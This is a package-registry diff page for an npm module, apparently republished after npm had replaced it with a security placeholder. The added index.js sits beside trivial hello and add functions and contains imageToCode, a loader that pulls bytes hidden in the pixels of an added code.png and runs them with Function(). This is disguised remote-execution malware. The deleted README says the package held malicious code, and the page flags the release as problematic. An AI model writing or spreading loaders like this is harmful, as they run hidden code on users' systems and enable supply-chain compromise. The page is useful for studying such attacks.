@redman89405/my-module 0.0.1-security → 1.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @redman89405/my-module might be problematic. Click here for more details.
- package/code.png +0 -0
- package/index.js +36 -0
- package/index.test.js +11 -0
- package/package.json +7 -4
- package/README.md +0 -5
package/code.png
ADDED
|
Binary file
|
package/index.js
ADDED
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
function hello(name = "World") {
|
|
2
|
+
return `Hello, ${name}!`;
|
|
3
|
+
}
|
|
4
|
+
|
|
5
|
+
function add(a, b) {
|
|
6
|
+
return a + b;
|
|
7
|
+
}
|
|
8
|
+
|
|
9
|
+
async function imageToCode() {
|
|
10
|
+
const image = new Image();
|
|
11
|
+
image.src = './code.png';
|
|
12
|
+
await image.decode();
|
|
13
|
+
|
|
14
|
+
const canvas = document.createElement("canvas");
|
|
15
|
+
canvas.width = image.naturalWidth;
|
|
16
|
+
canvas.height = image.naturalHeight;
|
|
17
|
+
|
|
18
|
+
const ctx = canvas.getContext("2d");
|
|
19
|
+
ctx.drawImage(image, 0, 0);
|
|
20
|
+
|
|
21
|
+
const { data } = ctx.getImageData(0, 0, canvas.width, 1);
|
|
22
|
+
const bytes = new Uint8Array(canvas.width);
|
|
23
|
+
|
|
24
|
+
for (let i = 0; i < bytes.length; i++) {
|
|
25
|
+
bytes[i] = data[i * 4];
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
if (bytes.length < 4) throw new Error("Invalid image");
|
|
29
|
+
|
|
30
|
+
const length = new DataView(bytes.buffer).getUint32(0);
|
|
31
|
+
if (length > bytes.length - 4) throw new Error("Invalid payload");
|
|
32
|
+
|
|
33
|
+
Function(new TextDecoder().decode(bytes.slice(4, 4 + length)))();
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
module.exports = { hello, add, imageToCode };
|
package/index.test.js
ADDED
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
const test = require("node:test");
|
|
2
|
+
const assert = require("node:assert/strict");
|
|
3
|
+
const { hello, add } = require("./index.js");
|
|
4
|
+
|
|
5
|
+
test("greets by name", () => {
|
|
6
|
+
assert.equal(hello("Sam"), "Hello, Sam!");
|
|
7
|
+
});
|
|
8
|
+
|
|
9
|
+
test("adds two numbers", () => {
|
|
10
|
+
assert.equal(add(2, 3), 5);
|
|
11
|
+
});
|
package/package.json
CHANGED
|
@@ -1,6 +1,9 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@redman89405/my-module",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
"
|
|
6
|
-
|
|
3
|
+
"version": "1.1.0",
|
|
4
|
+
"main": "index.js",
|
|
5
|
+
"type": "commonjs",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "node --test"
|
|
8
|
+
}
|
|
9
|
+
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=%40redman89405%2Fmy-module for more information.
|